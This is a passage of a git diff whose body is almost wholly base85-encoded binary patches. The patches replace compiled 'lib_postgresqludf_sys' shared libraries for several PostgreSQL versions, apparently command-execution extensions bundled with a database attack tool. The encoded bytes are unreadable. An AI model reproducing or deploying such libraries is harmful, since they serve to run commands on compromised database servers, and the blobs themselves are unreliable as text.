zF7^C9|9E!j#FCMmtqs`<;XKJkejCZFT{>U6pK8IeJ`~xh4dHN4Tl~Y`o8f=tI?riK zKvC(-GRWkf)B~6y*TVi9|2~k3t0D+1Ksltq$C@-*Xk7qy7xP)y;D;@nkq}waA6vHO zli2lb;NM6)4fU5Cswx0~b?s3qhf_n5pLhz@5s&`>re>$)0xC%%4DxMTVm4_%h2tA! zq_OS}cIA!f0a*Ttl9&5UKv+9Ynv)GvD10SZ@`7uZ?x)=HkP11xeYz{tFXQ!OyZW$p zKLkeo?Q^<}`GG!qd2K_P9?Q7~n>ssf_yGvge-z=1a^*qQb1MncG~@fs>QmqE`15cE zkX*N$0gRV2Xa=VXz5s*H>uU%1G*a6cAnjM8#uJh5|U+!6cxA4wZb3|da8w+hl z1v<$hMXw+NnoxZ68hh0>2$r9I#lzjE@51XKQzFwavV?2I4W-evUND(qh>FhQMLPxr z96;3iI8y|82!VSPt!!GAX-W91IZ>+I3N3*7v5=h;Pl@>qHq6W_nnu)m@z_ILl$)cd z3v>FTkTeDY8-#oOX;{gr-NY>V)G|b~P9P1~fepvu@{RAj5ZdH~u0Sz9JAq#Y|2R25 zUD0&(>FUgPx`atcjGGyc%ZLH8+q=7_75Lh`thqyR{in8wv!|2LRB50Jfl(Pa)_mX$9l0FnL;g!o`V1_r zW;bfr5^R<_pLR13c!%m_Gpaxz=AjHS?}ugu`Q!ey>$*n#hObCUaN8i}K@4|T_kDr7 zJlc*hRI)plLytTSTZo0l1vZ>^MA+f@v-t1H&>X75Cp9e0o$!sN9G)Z9X;7jWrnGYA zXLjYZy?V*!+r^;?ceQvFF4x&0CaydzAYdTg$hrFaZb9VzY}JG)X=_8wl|8Alpz;*R zp=n0Q1v}Y?8KDa_9!VA)&zB1N3le9#D;<^>Q87C)+L9wMPzNe8b-?R4fLi{iz$EP? z1;N>Rh7yd1MezIr?E5pJ8^-cv#`FT}N*V?Svy`;idg

H1!r1+m?3#s`;?jG3 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

H1!r1+m?3#s`;?jG3 zEBOB4fE+1$q0*I$o$<(cuD~?>!QM4F83Aod4Y%^i9I4oAALy`6zZ&rs=TEaV(z-$) zofS@V+De|Z>up1FdVo|WeWCzX0(WGWG$ zohb!FTO{<31ZZe9$o%&^D&MY~|H7Kp^H>m0!q>)1&)dNKuqMr6h&U_g_NN$&S zQ>qwZR?v^~L+q&arU!_T(d9LlY?pls!S#)&ySJt^y7wg%WP=#H0o6YA(3n_GaJ$?y zjaRMYi+G)0(W&r~HC?W9-KJ#`hazz)zZnKHG+KuMd8x+@x7vqJShQv!82$}5EAze4 z6$>}vAf$P(riX-@MPd#!X*>bM=RW(c>X<>@Ip&Q#K#I8NRDD-mfI9|WCd$RLYRt18 zvjin1HoZIt!KGzxY-3LWIg^WI*gTb_}sRQOMF93+A9BQ z7X0col1>^4SQRtbz}Kz>3Zgw5tSF{$(Pqx5^Yl-b3az*bGf!l?gy?nr|7w%GG<;}# z+zZ^K=<0ybg@1H$a`jFZIxbaH7v2U&2s~?gZ@yQ7InG?0N}5p=Ps=LDrNL&zBCwf_ KT9-xjea}C31uT#N diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ index 1100ab820fdb160f8e9412c5be3976885723b497..09662d8a928570fc8458c6edd8c1d6010335a7ae 100644 GIT binary patch literal 2639 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 diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ index f9396a86aa5c9c3ce1e401600e1280ea635d1e71..42a0c7fd61fca3ef0853c3de488affaac6f4d6d8 100644 GIT binary patch literal 2640 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 diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ index 21bbddcf59e179de234cae8f4f02f5e87aae6344..2db1ade11d595605fb326255fa09bd092bac7fd7 100644 GIT binary patch literal 2632 zcmV-O3b*wS?%r=GJQ|^RY=KEk4G>pX^2#P%MDzMD3#(d5<96=`us%GXdwFtfMeyra zX+^@DX?b1{^3yQbTWLd+M&`kW}Wh7b^>m|!o45K8BGIBg_B=GOEL$`o?E?gn7BO3d9yK?C&o^jK2r)&e)^U;7tso$+--i_+5n^y+z=j zkCTlblj~^shrPOzpgCRg2Au8ne2Co?hOC0Jj|Whx0lsX?1w-4#>4EwWrUp#Y8{5_o zP0@Dgd5TUporN{*l@VfZs2yUjA^^o`xsmdZ-N58v%bHAqfP~Sx{IOv^KHa6d;Cpiv z4J6QW9%h)VYtQ}fc|RiyJxszpnU}D@Eg_vNM=dP&jR8A))1h5KXW~NwkiDSs9e?$D z$CUz(o=t~f)x zM}fm8?;4Ui$cJR&v`AqSrTOfM;quOi>EMhY^vFEQ;3+JqyT`GDIq!&q8um%;h4S}< z4}Xcqp(oIuD0wjd^-HTX81<2_#Chuqk=3>)T!pPU-)(o-O4IbL0COzE11lEg&FUFe znNIL22Lf^691ZNOlDz(#AcXvr5{H8yh0H$>$APB~bcO&{SdUq{dpw5SGg(A(sC4Ac z_wE@Wi4<*pyHbBk8rLuuN|+PZU2;4P`jiLhN1zx*hPM#<#&%u$I_=vVUweZ;Yv0t2 zG~aI-8xdw_E7CrxMZqA$pAAQFIvXyxW?CuY1-Z)fF$o=2^{5Nv23v$>(55@ljGp>Mte+LP!3;ka&b-yzU)#cVjdyBez;tT$HF-F(O%Ng|mtd$_;9QXev|SU4D#dPsl= z_x?Oz

%^m{@xjR%?#c7#E)DNei%McMmG}7@ZN0`r_(@07kpGAvN*xc|-ikB%ZOJ zbj^i~exMbqb%56ztSCg`4V=5R+xgRgmD6RT_r)Ffv?$#k*#^V(j8EZ`hgZPQe)OUd z>RnelmqrS88~TpzXGXCcgPK_R&GN_AXt!9V9nm6B4Fwohw)4jm-hKofQ}C&)eo+sFOCZ#X?GJ zmp%qv?fA8&9vpwIy~4`7uTQZqw$B+@`K84$N=-b1Ppl4VmGEQw=7I5_6>3xxwkCwl z7E5nxeep>ZhF4%p8D~yl21T?Dp8XHJd}O{};R6&wTV6DC1U`2DOu0$ONZvR@9L536 z7i$ywBF_*f3=98OdPzrhNdNF@_{0>0b=n@n>LhEz{c2^4cu{I+*<@ml61x#+*XY(q z5N{+*YmBKP-ekmV#M(MWtO-AEl~QMdh7gue$s@QV>=Pnt7sVy~>IUAN@49%5J;DXe zmzsz&4!a^oi(T=AVtkUg_c3^bZtW$`!9%JuiJadGipD`LZAhc@_}Re!@fBue^WB97v{+jF>IAAIklb{ zK-{I)T*EvZuB3UwPra<~xTfTagza<^P4y3r)6M&aveX3w{^I@$p;-O`BMSGA{s?b@ zY0x-bSN=lRXHao^;CK;dg5undMobAnU!b%$ebY+vU(c! zl}P-s;r_wH&G#SG0CkF%caLoH{O`!)%w9vI`y1c1o?dEg$04>FjAE@6pCrB2tU zPr^_96xJEORlzO-{~|E+J~v0{RqXkBThfwrHLq;cYvW;;<6|7q$RFH2ATdL~Xu)!_ z1QLI|0rWA*PpJ_MCI?w!K3}uxL+Yeazr7*3oMD2d(1uUX6}W{y>$vbXed=Ayj=zwL z%!NF=((0mUHib15jwEfYA5#Fuz-0JpQPm@rreuvhI}I$N0!7K=o6BEM`Alh(0;P>_dPJox z*~a!oQHBX9SD->>)T#O7>pkpCiZ6r+aR?z}byD&X_o3LSVmUd1aO-O&f6A+Fqz86@ 